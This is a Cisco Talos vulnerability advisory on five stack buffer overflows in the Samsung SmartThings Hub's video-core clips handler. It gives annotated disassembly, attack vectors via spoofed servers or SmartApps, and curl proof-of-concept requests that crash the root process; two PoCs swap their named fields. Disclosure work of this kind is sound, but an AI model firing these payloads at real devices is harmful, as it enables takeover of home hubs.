Talos Vulnerability Report

TALOS-2018-0570

Samsung SmartThings Hub video-core clips Code Execution Vulnerability

July 26, 2018
CVE Number

CVE-2018-3893, CVE-2018-3894, CVE-2018-3895, CVE-2018-3896, CVE-2018-3897

Summary

Multiple exploitable buffer overflow vulnerabilities exist in the /cameras/XXXX/clips handler of video-core's HTTP server of Samsung SmartThings Hub. The video-core process incorrectly extracts fields from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable request that can be exploited to achieve code execution on the video-core process, which is running as root. By sending a POST request for the /cameras/<camera-id>/clips path, it's possible to set up new clip recording parameters in the hub.

Such request is handled by function sub_292DC:

.text:000292DC     sub_292DC
.text:000292DC
.text:000292DC 000        MOV             R12, #:lower16:dword_BB788
.text:000292E0 000        STMFD           SP!, {R4-R9,R11,LR}
.text:000292E4 020        MOVT            R12, #:upper16:dword_BB788
.text:000292E8 020        ADD             R11, SP, #0x1C
...
.text:00029354 E18        BL              http_required_json_parameters  ; [1]
.text:00029358 E18        SUBS            R1, R0, #0
.text:0002935C E18        BEQ             loc_294A8
...

.text:000294F8     loc_294F8
.text:000294F8 000        SUB             R3, R11, #-var_AB0
.text:000294FC 000        MOV             R2, R8
.text:00029500 000        SUB             R3, R3, #0xC
.text:00029504 000        MOV             R0, R6
.text:00029508 000        ADD             R1, R3, #0x114
.text:0002950C 000        BL              memcpy
.text:00029510 000        SUB             R3, R11, #-var_1C
.text:00029514 000        MOV             R0, R5
.text:00029518 000        ADD             R8, R3, R8
.text:0002951C 000        STRB            R4, [R8,#-0xCA8]
.text:00029520 000        BL              extract_correlationId          ; [2]
.text:00029524 000        SUBS            R8, R0, #0
.text:00029528 000        BEQ             loc_295F4
.text:0002952C 000        SUB             R3, R11, #-var_D90
.text:00029530 000        MOV             R2, #:lower16:aCameraid_1      ; "cameraId"
.text:00029534 000        SUB             R3, R3, #0xC
.text:00029538 000        MOVT            R2, #:upper16:aCameraid_1      ; "cameraId"
.text:0002953C 000        SUB             R3, R3, #8
.text:00029540 000        MOV             R0, #1                         ; db_id
.text:00029544 000        MOV             R1, R8                         ; where
.text:00029548 000        STR             R4, [R11,#dest]
.text:0002954C 000        BL              db_find                        ; [3] search for correlationId (clip id)
.text:00029550 000        CMP             R0, #0
.text:00029554 000        BNE             loc_2965C
...
.text:0002965C     loc_2965C
..
.text:00029664 000        MOV             R0, R6
.text:00029668 000        BL              db_camera_exists               ; [4]
.text:0002966C 000        BIC             R1, R0, #2
.text:00029670 000        CMN             R1, #8
.text:00029674 000        CMNNE           R0, #4
.text:00029678 000        MOVEQ           R1, #1
.text:0002967C 000        MOVNE           R1, #0
.text:00029680 000        BEQ             loc_29728
.text:00029684 000        SUB             R0, R11, #-var_D70
.text:00029688 000        MOV             R2, #0x64
.text:0002968C 000        SUB             R0, R0, #8
.text:00029690 000        BL              memset
.text:00029694 000        SUB             R3, R11, #-var_D70
.text:00029698 000        SUB             R2, R11, #-var_CE0
.text:0002969C 000        SUB             R3, R3, #8
.text:000296A0 000        MOV             R0, R5
.text:000296A4 000        STR             R3, [SP,#-4+arg_0]
.text:000296A8 000        MOV             R1, R7
.text:000296AC 000        SUB             R2, R2, #0xC
.text:000296B0 000        MOV             R3, R6
.text:000296B4 000        BL              sub_125C4                      ; [5]

Note that the binary embeds the "json-c" library that is used to manage JSON objects.

The function initially calls http_required_json_parameters at [1] to verify that all the required parameters are specified in the JSON request. The parameters are: captureTime, startTime, endTime, callbackUrl, correlationId. At [2], the correlationId parameter is extracted from the POST request and at [3] the internal video-core database is queried to see if the specified "correlationId" already exists, in which case the function will terminate. Moreover, at [4] the database is queried again to ensure that the "camera-id" specified in the HTTP path already exists. If the above conditions are satisfied, sub_125C4 [5] is called.

.text:000125C4     sub_125C4
.text:000125C4
.text:000125C4 000        STMFD           SP!, {R4-R11,LR}
.text:000125C8 024        MOV             R5, R0
.text:000125CC 024        SUB             SP, SP, #0x39C
.text:000125D0 3C0        MOV             R11, R3
.text:000125D4 3C0        MOV             R10, R1
.text:000125D8 3C0        MOV             R9, R2
.text:000125DC 3C0        BL              http_resp_packer__buffer_init
.text:000125E0 3C0        MOV             R4, R0
.text:000125E4 3C0        BL              http_resp_packer__buffer_init
.text:000125E8 3C0        MOV             R8, R0
.text:000125EC 3C0        BL              json_tokener_new
.text:000125F0 3C0        MOV             R6, R0
.text:000125F4 3C0        MOV             R0, R5
.text:000125F8 3C0        BL              strlen
.text:000125FC 3C0        MOV             R1, R5
.text:00012600 3C0        MOV             R2, R0
.text:00012604 3C0        MOV             R0, R6
.text:00012608 3C0        BL              json_tokener_parse_ex                 ; [6]
.text:0001260C 3C0        LDR             R3, [R6,#0x1C]
.text:00012610 3C0        MOV             R7, R0
...
.text:000127B8 3C0        MOV             R1, #:lower16:aCapturetime            ; "captureTime"
.text:000127BC 3C0        ADD             R2, SP, #0x3C0+value
.text:000127C0 3C0        MOVT            R1, #:upper16:aCapturetime            ; "captureTime"
.text:000127C4 3C0        MOV             R0, R7                                ; jso
.text:000127C8 3C0        BL              json_object_object_get_ex
.text:000127CC 3C0        CMP             R0, #0
.text:000127D0 3C0        MOVT            R5, #:upper16:dword_D90CC
.text:000127D4 3C0        BEQ             loc_1319C
.text:000127D8
.text:000127D8     loc_127D8
.text:000127D8 3C0        LDR             R0, [SP,#0x3C0+value]
.text:000127DC 3C0        BL              json_object_to_json_string            ; [7]
.text:000127E0 3C0        SUBS            R11, R0, #0
.text:000127E4 3C0        BEQ             loc_13244
.text:000127E8 3C0        BL              strlen                                ; [8]
.text:000127EC 3C0        MOV             R1, R11
.text:000127F0 3C0        ADD             R3, SP, #0x3C0+var_20C
.text:000127F4 3C0        MOV             R11, #0
.text:000127F8 3C0        MOV             R2, R0
.text:000127FC 3C0        STR             R0, [SP,#0x3C0+src]
.text:00012800 3C0        ADD             R0, SP, #0x3C0+var_2D8
...
.text:00012864 3C0        BL              strncpy                               ; [9]
.text:00012868 3C0        LDR             R3, [SP,#0x3C0+src]
.text:0001286C 3C0        ADD             R2, SP, #0x3C0+var_28
.text:00012870 3C0        MOV             R1, #:lower16:aYMDtT                  ; "%Y-%m-%dT%T"
.text:00012874 3C0        ADD             R0, SP, #0x3C0+var_2D8
.text:00012878 3C0        MOVT            R1, #:upper16:aYMDtT                  ; "%Y-%m-%dT%T"
.text:0001287C 3C0        ADD             R3, R2, R3
.text:00012880 3C0        ADD             R2, SP, #0x3C0+tp
.text:00012884 3C0        STRB            R11, [R3,#-0x2B0]
.text:00012888 3C0        BL              strptime                              ; [10]
.text:0001288C 3C0        CMP             R0, R11
.text:00012890 3C0        BEQ             loc_131FC
...
.text:0001290C 3C0        MOV             R1, #:lower16:(aFailedToParseS+0x10)  ; "startTime"
.text:00012910 3C0        MOV             R0, R7                                ; jso
.text:00012914 3C0        ADD             R2, SP, #0x3C0+value
.text:00012918 3C0        MOVT            R1, #:upper16:(aFailedToParseS+0x10)  ; "startTime"
.text:0001291C 3C0        BL              json_object_object_get_ex
.text:00012920 3C0        CMP             R0, #0
.text:00012924 3C0        BNE             loc_12934
...
.text:00012934     loc_12934
.text:00012934 3C0        LDR             R0, [SP,#0x3C0+value]
.text:00012938 3C0        BL              json_object_to_json_string            ; [7]
.text:0001293C 3C0        SUBS            R11, R0, #0
.text:00012940 3C0        BEQ             loc_13334
...
.text:000129C0 3C0        MOV             R0, R11
.text:000129C4 3C0        STRB            R3, [R2,#-0x27C]
.text:000129C8 3C0        BL              strlen                                ; [8]
.text:000129CC 3C0        MOV             R1, R11
.text:000129D0 3C0        MOV             R2, R0
.text:000129D4 3C0        ADD             R0, SP, #0x3C0+var_2A4
.text:000129D8 3C0        BL              strncpy                               ; [9]
.text:000129DC 3C0        MOV             R1, #:lower16:aYMDtT                  ; "%Y-%m-%dT%T"
.text:000129E0 3C0        ADD             R0, SP, #0x3C0+var_2A4
.text:000129E4 3C0        ADD             R2, SP, #0x3C0+tp
.text:000129E8 3C0        MOVT            R1, #:upper16:aYMDtT                  ; "%Y-%m-%dT%T"
.text:000129EC 3C0        BL              strptime                              ; [10]
.text:000129F0 3C0        CMP             R0, #0
.text:000129F4 3C0        BEQ             loc_13388
...
.text:00012A70 3C0        MOV             R1, #:lower16:(aFailedToParseE+0x10)  ; "endTime"
.text:00012A74 3C0        MOV             R0, R7                                ; jso
.text:00012A78 3C0        ADD             R2, SP, #0x3C0+value
.text:00012A7C 3C0        MOVT            R1, #:upper16:(aFailedToParseE+0x10)  ; "endTime"
.text:00012A80 3C0        BL              json_object_object_get_ex
.text:00012A84 3C0        CMP             R0, #0
.text:00012A88 3C0        BNE             loc_12AE4
...
.text:00012AE4     loc_12AE4
.text:00012AE4 3C0        LDR             R0, [SP,#0x3C0+value]
.text:00012AE8 3C0        BL              json_object_to_json_string            ; [7]
.text:00012AEC 3C0        SUBS            R11, R0, #0
...
.text:00012B70 3C0        MOV             R0, R11
.text:00012B74 3C0        STRB            R3, [R2,#-0x248]
.text:00012B78 3C0        BL              strlen                                ; [8]
.text:00012B7C 3C0        MOV             R1, R11
.text:00012B80 3C0        MOV             R2, R0
.text:00012B84 3C0        ADD             R0, SP, #0x3C0+var_270
.text:00012B88 3C0        BL              strncpy                               ; [9]
.text:00012B8C 3C0        MOV             R1, #:lower16:aYMDtT                  ; "%Y-%m-%dT%T"
.text:00012B90 3C0        ADD             R0, SP, #0x3C0+var_270
.text:00012B94 3C0        ADD             R2, SP, #0x3C0+tp
.text:00012B98 3C0        MOVT            R1, #:upper16:aYMDtT                  ; "%Y-%m-%dT%T"
.text:00012B9C 3C0        BL              strptime                              ; [10]
.text:00012BA0 3C0        CMP             R0, #0
.text:00012BA4 3C0        BEQ             loc_134B0
...
.text:00012C44 3C0        MOV             R1, #:lower16:aCorrelationid          ; "correlationId"
.text:00012C48 3C0        MOV             R0, R7                                ; jso
.text:00012C4C 3C0        MOVT            R1, #:upper16:aCorrelationid          ; "correlationId"
.text:00012C50 3C0        ADD             R2, SP, #0x3C0+value
.text:00012C54 3C0        BL              json_object_object_get_ex
.text:00012C58 3C0        CMP             R0, #0
.text:00012C5C 3C0        BNE             loc_12C6C
...
.text:00012C6C     loc_12C6C
.text:00012C6C 3C0        LDR             R0, [SP,#0x3C0+value]
.text:00012C70 3C0        BL              json_object_to_json_string            ; [7]
.text:00012C74 3C0        SUBS            R1, R0, #0
.text:00012C78 3C0        STR             R1, [SP,#0x3C0+src]
.text:00012C7C 3C0        BEQ             loc_13500
.text:00012C80 3C0        BL              strlen                                ; [8]
.text:00012C84 3C0        LDR             R1, [SP,#0x3C0+src]
.text:00012C88 3C0        MOV             R11, R0
.text:00012C8C 3C0        MOV             R2, R0
.text:00012C90 3C0        ADD             R0, SP, #0x3C0+var_340
.text:00012C94 3C0        BL              strncpy                               ; [9]
...
.text:00012D18 3C0        MOV             R1, #:lower16:aCallbackurl            ; "callbackUrl"
.text:00012D1C 3C0        ADD             R2, SP, #0x3C0+value
.text:00012D20 3C0        MOVT            R1, #:upper16:aCallbackurl            ; "callbackUrl"
.text:00012D24 3C0        MOV             R0, R7                                ; jso
...
.text:00012D30 3C0        BL              json_object_object_get_ex
.text:00012D34 3C0        CMP             R0, #0
.text:00012D38 3C0        BNE             loc_12D48
...
.text:00012D48     loc_12D48
.text:00012D48 3C0        LDR             R0, [SP,#0x3C0+value]
.text:00012D4C 3C0        BL              json_object_to_json_string            ; [7]
.text:00012D50 3C0        SUBS            R11, R0, #0
.text:00012D54 3C0        BEQ             loc_135B8
.text:00012D58 3C0        BL              strlen                                ; [8]
.text:00012D5C 3C0        MOV             R1, R11
.text:00012D60 3C0        MOV             R10, R0
.text:00012D64 3C0        MOV             R2, R0
.text:00012D68 3C0        ADD             R0, SP, #0x3C0+var_30C
.text:00012D6C 3C0        BL              strncpy                               ; [9]

The function begins by fetching the JSON payload from the HTTP request and by parsing it using json_tokener_parse [6]. Then, each of the five parameters are extracted using the following sequence:

- call to `json_object_object_get_ex` and `json_object_to_json_string` [7] for extracting a parameter by key name.
- copy the parameter value in a buffer on the stack, using `strlen` [8] and `strncpy` [9].
- time-related parameters (that is `captureTime`, `startTime` and `endTime`) are also parsed by `strptime` [10], and if the parsing fails the function exits early.

We can see that the length value for the strncpy call is set from the strlen output of the source string itself. At high level, this would be:

strncpy(stack_buffer, json_parameter, strlen(json_parameter));

Since json_parameter is controlled by the user, there is no restriction on the length of the copy operation, which allows for overflowing the stack buffer and execute arbitrary code.

We identified two different vectors that allow for exploiting this vulnerability:

  • Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to hubCore that would be relayed without modification to the vulnerable video-core process.
  • SmartThings SmartApps allow for creating custom applications that can be either published directly into the device itself or on the public marketplace. A SmartApp is executed inside the hubCore process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core process.

A third vector might exist, but we decided not to test it to avoid damaging any live infrastructure. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.

The following is a list of each vulnerability and its proof of concept. Each proof of concept uses the placeholder "OVERFLOW" to highlight the vulnerable parameter, which can be replaced with "A"*1000 to make the device crash. A key with value "x" means that its value is irrelevant, but the key still needs to be present. It's also assumed that a camera is already present and its id is represented by the variable "${sCameraId}".

CVE-2018-3893 - "captureTime" key

The strncpy call overflows the destination buffer, which has a size of 52 bytes. An attacker can send an arbitrarily long "captureTime" value in order to exploit this vulnerability:

$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"OVERFLOW","startTime":"x","endTime":"x","callbackUrl":"x","correlationId":"x"}'

CVE-2018-3894 - "startTime" key

The strncpy call overflows the destination buffer, which has a size of 52 bytes. An attacker can send an arbitrarily long "startTime" value in order to exploit this vulnerability:

$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"OVERFLOW","endTime":"x","callbackUrl":"x","correlationId":"x"}'

CVE-2018-3895 - "endTime" key

The strncpy call overflows the destination buffer, which has a size of 52 bytes. An attacker can send an arbitrarily long "endTime" value in order to exploit this vulnerability:

$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"2000-01-01T00:00:00","endTime":"OVERFLOW","callbackUrl":"x","correlationId":"x"}'

CVE-2018-3896 - "correlationId" key

The strncpy call overflows the destination buffer, which has a size of 52 bytes. An attacker can send an arbitrarily long "correlationId" value in order to exploit this vulnerability:

$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"2000-01-01T00:00:00","endTime":"2000-01-01T00:00:00","callbackUrl":"OVERFLOW","correlationId":"x"}'

CVE-2018-3897 - "callbackUrl" key

The strncpy call overflows the destination buffer, which has a size of 52 bytes. An attacker can send an arbitrarily long "callbackUrl" value in order to exploit this vulnerability:

$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"2000-01-01T00:00:00","endTime":"2000-01-01T00:00:00","callbackUrl":"x","correlationId":"OVERFLOW"}'

Timeline

2018-04-12 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.